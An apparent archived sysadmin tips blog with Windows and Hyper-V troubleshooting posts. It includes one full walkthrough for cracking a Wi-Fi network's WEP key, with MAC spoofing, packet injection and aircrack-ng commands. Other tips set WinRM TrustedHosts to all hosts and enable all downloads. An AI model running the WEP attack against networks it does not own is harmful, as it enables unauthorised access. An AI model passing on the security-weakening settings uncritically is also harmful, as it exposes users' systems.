SysNet Tips

How To Connect Remotely From a WORKGROUP-Server Core (Server Manager)

2011-05-11T09:42:00.001+08:00

ERROR: The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting.

When the local computer is not in a domain, the following procedure is required for remoting.

1. Configure the computer for HTTPS transport or add the names of the

remote computers to the TrustedHosts list on the local computer.

For instructions, see "How to Add a Computer to the TrustedHosts

List" below.

2. Verify that a password is set on the workgroup-based computer. If a

password is not set or the password value is empty, you cannot run

remote commands.

To set password for your user account, use User Accounts in Control

Panel.

3. Use the Credential parameter in all remote commands.

This is required even when you are submitting the credentials

of the current user.

HOW TO ADD A COMPUTER TO THE TRUSTED HOSTS LIST

**Note: You need to add on both Server E.g. Full Windows 2008 R2 (Management Server) and Server Core

 Caution: The value that you set for the TrustedHosts item affects all users of the computer.

To view the list of trusted hosts, use the following command:

get-item wsman:\localhost\Client\TrustedHosts

You can also use the Set-Location cmdlet (alias = cd) to navigate though the WSMan: drive to the location. For example: "cd WSMan:\localhost\Client; dir".

 To add all computers to the list of trusted hosts, use the following command, which places a value of * (all) in the ComputerName

 set-item wsman:localhost\client\trustedhosts -value *

You can also use a wildcard character (*) to add all computers in a particular domain to the list of trusted hosts. For example, the following command adds all of the computers in the Fabrikam domain to the list of  trusted hosts.

set-item wsman:localhost\client\trustedhosts *.fabrikam.com

To add the IP addresses of particular computers to the list of trusted hosts, use the following command format:

 set-item wsman:\localhost\Client\TrustedHosts -value

For example: set-item wsman:\localhost\Client\TrustedHosts -value 172.16.0.0

DNS - SRV records for Active Directory

2011-03-25T14:24:00.002+08:00

SRV records are the important elements for Active Directory to function properly. In this session, just a quick share on What SRV records used for Active Directory:

_msdcs
This is a Microsoft-specific subdomain that stores SRV records for domain controllers with roles in AD. These roles include domain controllers, global catalog servers, and primary domain controller emulators.

_sitesThis contains records for domain controllers based on site. Microsoft Clients like Windows 2000/XP/Vista can use this record to locate domain controllers and global catalog servers that are in their site, so that they can avoid using services across the WAN.

_tcp
This contains domain controllers in the AD domain. If windows clients need to find a DC in a specific site, they will look here. The TCP protocol will be used to request the information.

_udp
Kerberos clients can use UDP port 88 to request tickets and port 464 for password changes.

DomainDnsZones
Zone information that should be replicated to all DCs in the domain that have the DNS service installed.

ForestDnsZones
Zone information that should be replicated to all DCs in the forest that have the DNS service installed.

Use nslookup to query for SRV service location records, you should:

NOTE: you will need to have reverse lookup zone setup

Type nslookup and then press Enter.
Type set type=all and then press Enter.
Type ldap.tcp.dc._msdcs.domainname and then press Enter.
Repeat this process for as many SRV records as you want to confirm.

Your current security settings do not allow this file to be downloaded

2011-03-25T12:04:00.000+08:00

After upgrade to IE7/8, or when you install Windows 2008 by default, when you download files from the internet, you will see the following error:

"Your current security settings do not allow this file to be downloaded"
Microsoft do so is to fight unwanted program to be download to the PCs. However, if you would like to enable the mentioned settings:

On your IE, click Tools -> Internet Options.
Click on Security tab, on Internet, click Custom Level. On settings, find a section that shows download. On File download, put it Enable.

Adding picture into Exchange 2010 and Outlook 2010

2011-03-25T11:52:00.000+08:00

One picture is max 10k, will not really add size to AD Database.

1) Get ready your picture, ours in jpg format, less than 10k, remember.
2) In Exchange 2010, launch Exchange management shell and type this command:
import-RecipientDataProperty -Identity poo -Picture -FileData (Byte[]] $(Get-content -path "C:\Photos\poo.jpg" -Encoding Byte -ReadCount 0))
3) Launch your Outlook 2010 and mouse over the account in your e-mail

How To Create Bootable Windows 7, Vista, or XP USB Flash/Pen Drive Quickly

2011-03-16T09:42:00.001+08:00

Let’s begin the guide without wasting time. Just make sure that you have a pen drive with 4GB + capacity if you are making a bootable USB flash drive.

Requirements to create bootable Windows USB:

# Windows 7 or Vista ISO

# Pen drive with 4GB+ (2 GB is sufficient for XP)

# 15 Minutes of free time

Procedure:

1. Insert your USB flash/pen drive to your system and backup all the data from the USB as your USB drive will be formatted during the process.

2. Now download WinToFlash tool (free) from here.

3. Run the tool, and browse to your Windows 7, Vista, or XP DVD files (make sure that your USB drive letter is correct).

4. Click Create button to begin the bootable USB process. Wait for few minutes to see the bootable USB.

5. That’s all!

Hyper-V VM in a Paused-Critical State

2010-08-22T10:02:00.001+08:00

Snapshots serve as a mechanism that allows us to revert virtual machines back to a previous state in a timely manner. A common issue when dealing with virtual machines and taking multiple snapshots occurs when the virtual machine will no longer stay running. In these scenarios, the VM will typically pause itself and reported to be in a “Paused-Critical” state.

This issue is caused by a lack of system resources available to the host. More specifically, this occurs when there is not enough free hard disk space available on the host drive where the virtual machine snapshots are stored. So how does this happen? Well, an AVHD file is created every time you create a snapshot of the VM. The problem is that these files are often quite large and can add up on you before you know it. Also, deleting the snapshots from Hyper-V manager will remove the link to them but won’t delete the AVHD files off of the physical disk.

Your initial reaction when winding up in a Paused-Critical state might be to delete the AVHD files to free up space; however, this won’t fix the problem in itself. You will then have to turn off the VM and delete the snapshot files from within Hyper-V manager for the free space to be made available to the VM. Microsoft recommends doing this process first prior to deleting the AVHD files manually. Alternatively you can export the VM and the import it back into Hyper-V manager.

Scenario
I shut down the VM and the merging process began. However, I had created a few snapshots in the past that still hadn’t been merged. It looked like the merging process might take a while, so I let it run. However, the merging process could not complete because I didn’t have enough disk space! I found this quite ironic.

I am of disk space because I did not merge the snapshots into the vhd, but I cannot merge the snapshots because I am out of disk space. Does that seem odd to anyone else?

In order to fix this problem I had to dive into the config file. Luckily, I had another hard drive with around 30GB of freespace attached to the host. To fix the problem I shut down the VM and Hyper-V Services then went to the directory containing .avhd (snapshot) files. I moved one of the snapshot files to a temporary directory on the drive with the free space, then updated the snapshot entry in the config xml file for the VM to point to the new directory where I placed the snapshot file. After restarting the Hyper-V services and turning off the VM the merge was able to complete, albeit after 2 hours of waiting.

I realize that Hyper-V is a somewhat new contender in the Virtualization marketplace, but I think that something is completely out of whack with the way that snapshots work. When you have systems that are required to be up and running 24/7 it basically throws away any use that snapshots have. It seems somewhat ridiculous that you have to bring a system down to delete the snapshot when one of the reasons you created the snapshot was to help reduce downtime in case something goes wrong. It is even more ridiculous that if you don’t power down your system and wait for the vhd to merge, the snapshot will continue to grow until the system comes crashing down due to a lack of disk space!

I understand that Microsoft does not recommend snapshots for production environments… but I hope in the future they make some improvements so that snapshots are usable in production environments.

You need Microsoft Internet Explorer 4.01 or later to use this feature. You can download the latest version of Internet Explorer from http://www.microsoft.com

2010-07-12T11:49:00.000+08:00

I just fixed this one. I had to create a registry entry in "\HKLM\SOFTWARE\Microsoft\Internet Explorer" with the version information. Make a new string value called "Version", and enter the version information, in my case I entered "7.0.5730.13". I don't think that it matters too much what version you enter as long as it is later that the 4.01 that is required.

Show hidden devices in Device Manager (Hyper-V network adapter)

2010-06-17T10:34:00.000+08:00

When I tried to configure the adapter, the following error occurred: “The IP address <ip address> you have entered for this network adapter is already assigned to another adapter…”

So, in order to uninstall the old network adapter do the following:

Click Start, point to All Programs, point to Accessories, and then click Command Prompt.
At a command prompt, type the following command , and then press ENTER:
- set devmgr_show_nonpresent_devices=1
Type the following command a command prompt, and then press ENTER:
- start devmgmt.msc
Troubleshoot the devices and drivers in Device Manager.NOTE: Click Show hidden devices on the View menu in Device Manager before you can see devices that are not connected to the computer.
When you finish troubleshooting, close Device Manager.
Type exit at the command prompt.Note that when you close the command prompt window, Window clears the devmgr_show_nonpresent_devices=1 variable that you set in step 2 and prevents ghosted devices from being displayed when you click Show hidden devices.

There is a KB article about this. Although the article applies to Windows XP only, the solution worked very well on Windows Server 2003.

Email Dossier - A great way to test email addresses

2010-06-04T12:17:00.000+08:00

An awesome website to test email addresses, the MX records and a test SMTP conversation for them is:

http://centralops.net/co/EmailDossier.aspx

Here is a screenshot of the type of information it produces:

Exchange 2010 Deploy Assist

2010-06-04T12:01:00.001+08:00

If you are looking to migrate to Exchange 2010 from 2003 or 2007, or prehaps perform a new Exchange 2010 installation there is a cool tool Microsoft has just released called Deploy Assist.

The Deployment Assist tool asks you a series of questions about your environment. Based on these questions it will then provide you with step by step instructions on how to perform the migration or fresh installation of exchange 2010. This is very handy as it tackles all kinds of network environments.

To use this tool go to the following link:

http://technet.microsoft.com/exdeploy2010

How to find out which domain controller i'm talking to?

2010-06-04T11:10:00.003+08:00

To find out which domain controller your PC is talking to, use the following command:

nltest /dsgetdc:domainname.local or "set l" less informative but quicker and uses built in command

This is very handy when testing your active directory sites and services topology to ensure it is setup correctly. If you want to understand the process in which a client computer locates its domain controller

High CPU usage due to hardware interrupts problem

2010-05-03T10:45:00.000+08:00

High CPU usage due to hardware interrupts problem: Even with no program running, the CPU usage is 60% and the hard disk is going at full speed (indicating I/O?)

I have done all the standard scans for malware/Viruses and came up with no viruses and very little ad/spyware. I noticed high CPU usage at times when there was no program running.

I ran process explorer and found that the CPU usage due to hardware interrupt got up to about 80% and there are always at least 1,500 interrupts per scond (CSwitch Delta column). I believe this is excessive and I also believe it to be a hardware problem or possibly a driver issue.

This turns out ATA/IDE controllers will often revert back to PIO mode instead of Ultra-DMA. (According to MS KB article on the problem here.)

Solution:

Check the problem by examining the controller’s Primary and Secondary IDE settings: Device Manager -> IDE ATA/ATAPI controllers -> Primary or Secondary IDE Channel -> Properties -> Advanced Settings.

Look at the Current Transfer Mode field. If it’s “PIO” then you’ll need to uninstall the driver, reboot and let XP do its magic reinstall.

Download Process Explorer

ADD

Move

File Recovery - Recuva and Disk Digger

2010-04-23T09:37:00.005+08:00

Accidentally deleted an important file? Lost something important when your computer crashed? No problem! Recuva recovers files deleted from your Windows computer, Recycle Bin, digital camera card, or MP3 player. And it's free!

Restore that File or Photo using DiskDigger

If you don’t have any luck with Recuva, you can always try out DiskDigger, another excellent piece of software.

Note that DiskDigger doesn’t require installation, making it a really great tool to throw on your PC repair Flash drive.

Start off by choosing the drive you want to recover from…

Download Recuva from piriform.com

Download DiskDigger from dmitrybrant.com

Move

Move

Move

Move

Move

Move

Performance Tuning Guidelines for Windows Server 2008

2010-04-06T15:18:00.002+08:00

This guide describes important tuning parameters and settings that you can adjust to improve the performance of the Windows Server 2008 R2 operating system. This guide describes each setting and its potential effect to help you make an informed decision about its relevance to your system, workload, and performance goals.

This paper is for information technology (IT) professionals and system administrators who need to tune the performance of a server that is running Windows Server 2008 R2.
This information applies to the Windows Server 2008 R2 operating system.

Included in this white paper:

•	Choosing and Tuning Server Hardware
•	Performance Tuning for the Networking Subsystem
•	Performance Tuning for the Storage Subsystem
•	Performance Tuning for Web Servers
•	Performance Tuning for File Servers
•	Performance Tuning for Active Directory Servers
•	Performance Tuning for Remote Desktop Session Host (formerly Terminal Server)
•	Performance Tuning for Remote Desktop Gateway
•	Performance Tuning for Virtualization Servers
•	Performance Tuning for File Server Workload (NetBench)
•	Performance Tuning for Network Workload (NTttcp)
•	Performance Tuning for Remote Desktop Services Knowledge Worker Workload
•	Performance Tuning for SAP Sales and Distribution Two-Tier Workload

Performance Tuning Guidelines for Windows Server 2008

Improve Hyper-V performance with configuring antivirus exclusions

2010-04-06T14:51:00.007+08:00

Let’s look at what exclusion configuration should look like. On Hyper-V host you’ll find couple of core processes that’s crucial to host and VM performance.

Prevent following processes from AV scans by excluding following as part of Hyper-V AV policy:
VMMS.exe | VMWP.exe.

Also exclude root directories where VM configurations and Virtual Hard Disks are stored:
C:\ProgramData\Microsoft\Windows\Hyper-V
C:\Users\Public\Documents\Hyper-V\Virtual Hard Disks, Custom VM configuration, Virtual Hard Disk and Snapshot directories.

Next, create AV exclusions for following file extensions:
*.XML | *.VHD | *.AVHD | *.VFD | *. VSV | *.ISO. |*. BIN

XML files

These files contain the virtual machine configuration details. There is one of these for each virtual machine and each snapshot of a virtual machine. They are always named with the GUID used to internally identify the virtual machine or snapshot in question.

.VHD files

These are the virtual hard disk files for the virtual machine

.AVHD files

These are the differencing disk files used for virtual machine snapshots

.BIN files

This file contains the memory of a virtual machine or snapshot that is in a saved state.

.VSV files

This file contains the saved state from the devices associated with the virtual machine.

Finally, if you’re using Hyper-V R2’s Live Migration feature with CSVs, then you’ll need to exclude CSV path and any sub-directories. CSV path is as follows: C:\Clusterstorage. Failure to create this exclusion on hosts using CSV, can only result in poor performance, but can also result in a missing or corrupt VM configuration.

Guidelines for Antivirus Exclusions

Should virtual machine snapshots be used in production?

2010-04-06T14:37:00.003+08:00

The short answer is “Virtual machine snapshots are supported in production environments, but not recommended.” The longer answer is that there are a number of issues you should consider before deciding to use virtual machine snapshots in a production environment. The are as follows:

Performance: as virtual machine snapshots use differencing disks, there is a performance overhead to be considered. This overhead is not too noticeable if you are already using dynamically expanding virtual hard disks, and you only plan to have a small number of snapshots around. If you are using fixed size virtual hard disks – then there will be a noticeable performance hit to using a virtual machine snapshot.
Disk space: once again, because virtual machine snapshots use differencing disks, there is an added disk space usage involved with having a virtual machine snapshot. This is not too significant if you are using dynamically expanding virtual hard disks – but is more pronounced if using fixed size virtual hard disks (hint: do not use fixed size virtual hard disks and virtual machine snapshots together, it works but does not make a lot of sense as you lose most of the benefits of using fixed size virtual hard disks).
Downtime: if you create a virtual machine snapshot and then delete it, you will have to turn the virtual machine off at some point in the future to let the snapshot AVHD file merge in.
Clustering: unfortunately, if you use snapshots on a virtual machine that is part of a cluster, the snapshots will have incorrect network configurations after they have been moved from one node to another.
Physical disks: if a virtual machine has a physical disk connected directly to it – you cannot use virtual machine snapshots.

So in summary: if you are using dynamically expanding virtual hard disks, have planned the location of your snapshot files, and can tolerate downtime at a later point in time to allow deleted snapshot files to merge – then go for it. Otherwise you may want to carefully consider the usage of virtual machine snapshots in production.

The reason that for people using virtual machine snapshots in production environments is that they want to have a safe point to return to before applying a patch / installing new software / making a configuration change. While it is a bit more work you can use VSS snapshots just as well for this sort of scenario – and you avoid the issues that I have outlined above.

Use Scan.pst To Repair Outlook

2010-04-05T14:51:00.005+08:00

You may need to use the Inbox Repair Tool if you open your Outlook .pst file and receive this message:

"Unable to expand the folder. The set of folders could not be opened. Errors could have been detected in the file drive:\Documents and Settings\user\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst. Quit all mail-enabled applications, and then use the Inbox Repair Tool. "

Included in all versions of Outlook is Scan.pst, a tool that may help in the event your .pst file becomes corrupted. Run scan.pst repeatedly until there are no errors.

To get at it, you'll need to navigate to this path using Windows Explorer:

For Outlook XP & 2003: Hard Drive Letter:\Program Files\Common Files\System\MSMAPI\LocaleID (which is 1033 for the USA or similar)

For Outlook 2007: Hard Drive Letter:\Program Files\Microsoft Office\OFFICE12. Now, inside this folder, you're looking for this particular setup file: "Scanpst.exe" When you run the .exe, you'll need to Browse... to your current .pst file and hit Start:

The Inbox Repair Tool will now scan the corrupted .PST file for errors:

If your PST file is recoverable, you'll see the repairable errors show up in the scan results. To fix them, select Repair.:

Transferring Recovered PST File Data to New PST File

Once the repair finishes, Outlook creates a "Recovered" version of your .pst file, and you need to tell Outlook to use it rather than the old, damaged or corrupted .pst file.Next, you'll need to point Outlook in the right direction, namely at the recovered .PST file: Start Outlook Normally Special Note: If Scanpst.exe wasn't able to repair the .pst data file, you may need a stronger repair tool. Try scanning it with the Stellar Phoenix PST repair utility. Select Go from the top menu, choose Folder List:

With the Folder List open, you should see a Recovered Personal Folders folder with the usual Outlook Personal Folders, or a Lost and Found option.If the Lost and Found folder has a file that the Inbox Repair Tool successfully fixed, it will show up here.

If it's empty, the Repair Tool was unsuccessful.If you do see a fixed .pst file in the Lost and Found box, you'll need to create a new .pst file to move the repaired file(s) to. After you've simply dragged the files over from the "Recovered" .pst file to the newly created .pst file , you can turf the Recovered Personal Folders contents.

Get Detailed PC Hardware Information with HWiNFO32

2010-04-05T14:20:00.002+08:00

Are you someone who likes to dig really deep into the hardware configuration of your computer? If so, HWiNFO32 is probably the best program ever for getting detailed system hardware information on the processor, hard drives, video cards, network cards, OS, and more.

HWiNFO32 – System Hardware Information

Optimize your computer the Microsoft way

2010-04-05T14:12:00.000+08:00

Nice article with suggestions on how to keep your PC running smoothly. Topics include Disk Check, Removing Temp Files, Defragmentation and other suggestions on how and when to run built-in Windows tools. All OS’s.

Optimize your Windows computer

Roadkill’s Scan Port scans for open ports

2010-04-05T14:08:00.000+08:00

Find your PCs open ports quickly with Roadkill’s tiny Scan Port scanner. Ports filtered by a firewall will easily be identified too.

Download Roadkill’s Scan Port v1.3

How to Use Remote Desktop to Access Multiple Computers on LAN

2010-03-31T14:37:00.006+08:00

Windows Remote Desktop uses default port 3389 to send and receive data. So the first computer being accessed remotely will be assigned this port to use for Remote Desktop. While the other computers in the local area network will be assigned sequential numbers starting with 3390. So, the second computer would be given port 3390, the third would use port 3391 and so on.

For each computer you want to remotely connect to you have to configure each computer to listen to different ports to avoid port conflicts by changing the registry key in

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber

Port Numbers are in Decimal format

Note: To avoid conflict with other programs it is suggested to select a port between 49152 and 65535.

Now take that number you've chosen your computer to listen to and configure your router to port forward to that number. PortForward.com explain how to do this. Depending on your router the procedure is slightly different, however there are great tutorials on portforward.com to explain this.

To connect to that computer your format will now be ISPIPAddress:PortNumber (ex. 222.222.2.8:1234) to connect to that specific computer behind the router

Important: If you have a firewall software running, that too has to be configured to allow communication to the port you opened in your router as well.

How to Crack a Wi-Fi Network's WEP Password with BackTrack

2010-03-28T15:36:00.009+08:00

Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.

Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes.

What You'll Need

A compatible wireless adapter—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. I purchased 2 wireless USB adapter, TP-LINK (TL-WN321G) and LINKSYS (WUSB54GC) USB adapter, both are using same driver rt73. There are plenty of resources on getting aircrack-compatible adapters out there-compatible_cards and backtrack offensive-security

A BackTrack 3 Live CD. The Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. (I tried the BackTrack 4 final-release, and it didn't work as well as BT3. Do yourself a favor and stick with BackTrack 3 for now.)
A nearby WEP-enabled Wi-Fi network. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.
Patience with the command line. This is a process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password.

How to Crack WEP

To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.
First run the following to get a list of your network interfaces:

airmon-ng

The only one I've got there is labeled rausb0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).

Before we start cracking, we need to install rt73 driver.
First of all, you need to download this:

http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt73-k2wrlz-3.0.3.tar.bz2
(just save to root)

Now, run the following four commands. See the output that I got for them in the screenshot below.

(this comes from shamanvirtuel's thread: New Rt73 Driver Relized By Aspj )

-Shutdown WUSB54GC:

ifconfig rausb0 down

-Uninstall drivers:

rmmod rt73

-Extract new drivers to root:

tar -xvjf rt73-k2wrlz-3.0.3.tar.bz2

-cd to driver dir + install it:

cd rt73-k2wrlz-3.0.3
cd Module
make
make install
modprobe rt73

-ready to go:
ifconfig rausb0 up
iwconfig rausb0 mode monitor channel xx rate 1M

-now try to capture packets:

airmon-ng stop rausb0
macchanger --mac 00:11:22:33:44:55
airmon-ng start rausb0

If you don't get the same results from these commands, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.

Now it's time to pick your network. Run:

airodump-ng rausb0

To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.

Like I said, hit Ctrl+C to stop this listing. Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.

Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:

airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)rausb0

airodump-ng -c 6 -w Daniel --bssid 00:22:B0:94:92:FC rausb0

Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "Daniel" which is the network's name I'm cracking.

You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)

aireplay-ng -1 0 -a 00:22:B0:94:92:FC -h 00:11:22:33:44:55 -e Daniel rausb0

Here the ESSID is the access point's SSID name, which in my case is Daniel. What you want to get after this command is the reassuring "Association successful" message with that smiley face.

You're almost there. Now it's time for:

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)

aireplay-ng -3 -b 00:22:B0:94:92:FC -h 00:11:22:33:44:55 rausb0

Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000.

Depending on the power of your network, this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.

After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) -h 00:11:22:33:44:55 (interface)

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:22:B0:94:92:FC -h 00:11:22:33:44:55 rausb0

Once you have enough packets, you begin the crack:

aircrack-ng -n 128 -b (bssid) (filename)-01.cap
aircrack-ng -n 128 -b 00:22:B0:94:92:FC Daniel-01.cap
Or
aircrack-ng -a 1 -0 -n 128 Daniel-01.cap

The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.

Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.

You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!

How To Download Videos From YouTube

2010-03-28T12:18:00.002+08:00

There are many ways to download YouTube videos. This guide talks about two such ways, one for Firefox users and other for those who would prefer using an offline tool to do it.

Download 1-Click YouTube Video

Device Remover – A powerful Device Manager alternative

2010-03-26T10:37:00.003+08:00

It has all the features of the built-in Windows Manager plus a few additional functions that can be helpful if you have to troubleshoot device driver problems. Here is a list of the most important features of Device Remover:

In-depth information about devices and drivers
Print device tree
Displays hidden, non-present, and problem devices
Searches device drivers
Bulk removal of device drivers
Backup device drivers
Open and export device driver registry entry
Start/stop, enable/disable device
Update driver
Save detailed driver information

Download Device Remover

Karen’s LAN Monitor – Displays extensive network information

2010-03-26T10:32:00.003+08:00

Karen's LAN Monitor is a freeware tool that displays all kinds of network related information. The tool comes with eight tabs: Adapters, Phonebook Entries, Connections, Traffic, IP Stats, TCP Stats, UDP Stats, and ICMP Stats.

Download Karen’s LAN Monitor